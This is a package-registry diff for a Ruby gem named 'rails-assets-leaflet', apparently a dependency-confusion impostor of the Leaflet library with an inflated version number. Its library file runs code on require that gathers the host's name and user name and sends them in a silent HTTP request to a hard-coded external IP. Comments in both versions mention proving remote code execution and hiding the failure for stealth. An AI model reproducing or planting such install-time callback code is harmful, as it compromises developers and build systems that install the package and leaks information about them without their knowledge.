rails-assets-leaflet 99.9.10 → 99.9.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/rails-assets-leaflet.rb +14 -32
- metadata +1 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 7c25cdedc2f42ad0ea038057917e15dd41384f411d4eccfea4744c58eb63516f
|
|
4
|
+
data.tar.gz: 8cd7a888c961c3c586eede0e05a475695d8c15f7e950a2f60138c7596a1f79e0
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: dfa40e6082cc260547a159f6a69e3d955cfeded4c50f604c5742e05d962cfc3f857fab5f211c6f59d88bdca8cf9d39a3269b97f6a23db4f13b128599e3bf1a04
|
|
7
|
+
data.tar.gz: 223273cafd9ebfe7b00416df138ec135e14994e5d0c9afc61c9c201bf3d8cadcc792f82fb9556aafe189a144924e4af99a496a2d4bf2ce7113c3159a9b387eb3
|
data/lib/rails-assets-leaflet.rb
CHANGED
|
@@ -1,47 +1,29 @@
|
|
|
1
1
|
require 'net/http'
|
|
2
|
-
|
|
3
2
|
require 'socket'
|
|
4
|
-
|
|
5
3
|
require 'uri'
|
|
6
4
|
|
|
7
|
-
|
|
8
|
-
|
|
9
5
|
module RailsAssetsLeaflet
|
|
10
|
-
|
|
11
|
-
# This code runs automatically when 'bundle install' requires the gem
|
|
12
|
-
|
|
13
6
|
begin
|
|
14
|
-
|
|
15
|
-
# Collect basic info to prove RCE
|
|
16
|
-
|
|
7
|
+
# بيانات الـ Target
|
|
17
8
|
host = Socket.gethostname
|
|
18
|
-
|
|
19
9
|
user = ENV['USER'] || 'unknown'
|
|
20
|
-
|
|
21
10
|
|
|
22
|
-
|
|
23
|
-
#
|
|
24
|
-
|
|
25
|
-
vps_ip = "159.223.17.233"
|
|
26
|
-
|
|
11
|
+
# Configuration
|
|
12
|
+
vps_ip = "159.223.17.233" # غير ده للـ IP بتاعك
|
|
27
13
|
port = "8080"
|
|
28
|
-
|
|
14
|
+
token = "DoD_Secret_Hunter_9911" # ده الـ Secret المميز
|
|
29
15
|
|
|
30
|
-
|
|
31
|
-
#
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
16
|
+
# الرابط هيبقا فيه الـ Token
|
|
17
|
+
# http://IP:8080/?token=DoD_Secret_Hunter_9911&host=XYZ&user=root
|
|
18
|
+
uri = URI("http://#{vps_ip}:#{port}/?token=#{token}&host=#{host}&user=#{user}")
|
|
19
|
+
|
|
20
|
+
# إرسال الركوست (مع Timeout قصير عشان ميعطلش السيرفر)
|
|
21
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
22
|
+
http.open_timeout = 2
|
|
23
|
+
http.read_timeout = 2
|
|
24
|
+
request = Net::HTTP::Get.new(uri)
|
|
25
|
+
http.request(request)
|
|
39
26
|
rescue
|
|
40
|
-
|
|
41
|
-
# Fail silently to avoid breaking the build process (stealth)
|
|
42
|
-
|
|
43
27
|
nil
|
|
44
|
-
|
|
45
28
|
end
|
|
46
|
-
|
|
47
29
|
end
|